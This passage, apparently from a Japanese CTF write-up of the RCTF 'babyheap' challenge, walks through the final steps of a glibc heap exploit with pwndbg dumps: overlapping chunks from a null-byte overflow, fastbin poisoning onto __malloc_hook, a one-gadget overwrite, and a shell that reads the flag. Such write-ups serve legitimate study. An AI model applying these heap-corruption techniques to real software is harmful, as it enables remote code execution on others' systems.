04:0020│ 0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│ 0x7f2e86a82028 —▸ 0x564c837583b0 ◂— 0x6666666666666666 ('ffffffff')
06:0030│ 0x7f2e86a82030 ◂— 0x0
... ↓
08:0040│ 0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│ 0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000 0x00000000000000b1 #5
0x564c837583b0: 0x6666666666666666 0x6666666666666666
(snip)
0x564c83758430: 0x0000000000000090 0x0000000000000070
0x564c83758440: 0x00007f2e86858aed 0x00000000696d6f67
0x564c83758450: 0x0000000000000000 0x0000000000000151
0x564c83758460: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c837584a0: 0x0000000000000100 0x0000000000000100
0x564c837584b0: 0x6363636363636363 0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000150 0x0000000000000020 #8
0x564c837585b0: 0x6464646464646464 0x0000000000000000
0x564c837585c0: 0x0000000000000000 0x0000000000020a41
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x564c83758430 (overlap chunk with 0x564c837583a0(freed) )
(0x80) fastbin[6]: 0x0
top: 0x564c837585c0 (size : 0x20a40)
last_remainder: 0x564c83758450 (size : 0x150)
unsortbin: 0x564c83758450 (size : 0x150)
16.
サイズ0x60バイトの領域を確保する。このときarenaのfastbin[5]には__malloc_hook - 0x23
がつながれている。
pwndbg> parseheap
addr prev size status fd bk
0x564c8374f000 0x0 0x91b0 Used None None
0x564c837581b0 0x0 0x90 Used None None
0x564c83758240 0x0 0x120 Used None None
0x564c83758360 0x0 0x20 Used None None
0x564c83758380 0x0 0x20 Used None None
0x564c837583a0 0x0 0xb0 Freed 0x66666666666666660x6666666666666666
Corrupt ?! (size == 0) (0x564c83758450)
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x7f2e86858aed (size error (0x78)) --> 0x2e86519e20000000 (invaild memory)
(0x80) fastbin[6]: 0x0
top: 0x564c837585c0 (size : 0x20a40)
last_remainder: 0x564c83758450 (size : 0x0)
unsortbin: 0x564c83758450 (invaild memory)
17.
サイズ0x60バイトの領域を確保する。このときチャンクアドレスとして__malloc_hook - 0x23
が返るので、__malloc_hook
にあたる部分にOne-Gadget-RCEを書き込む。
pwndbg> x/32gx &__malloc_hook
0x7f2e86858b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f2e86858b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f2e86858b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
pwndbg> x/32gx &__malloc_hook
0x7f2e86858b10 <__malloc_hook>: 0x00007f2e864d926a 0x0000000000000000
0x7f2e86858b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f2e86858b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
18.
適当なサイズAllocしたらshellが起動する。
[*] Switching to interactive mode
$ ls
babyheap
bin
dev
flag
lib
lib32
lib64
run_with_alarm.sh
$ cat flag
RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}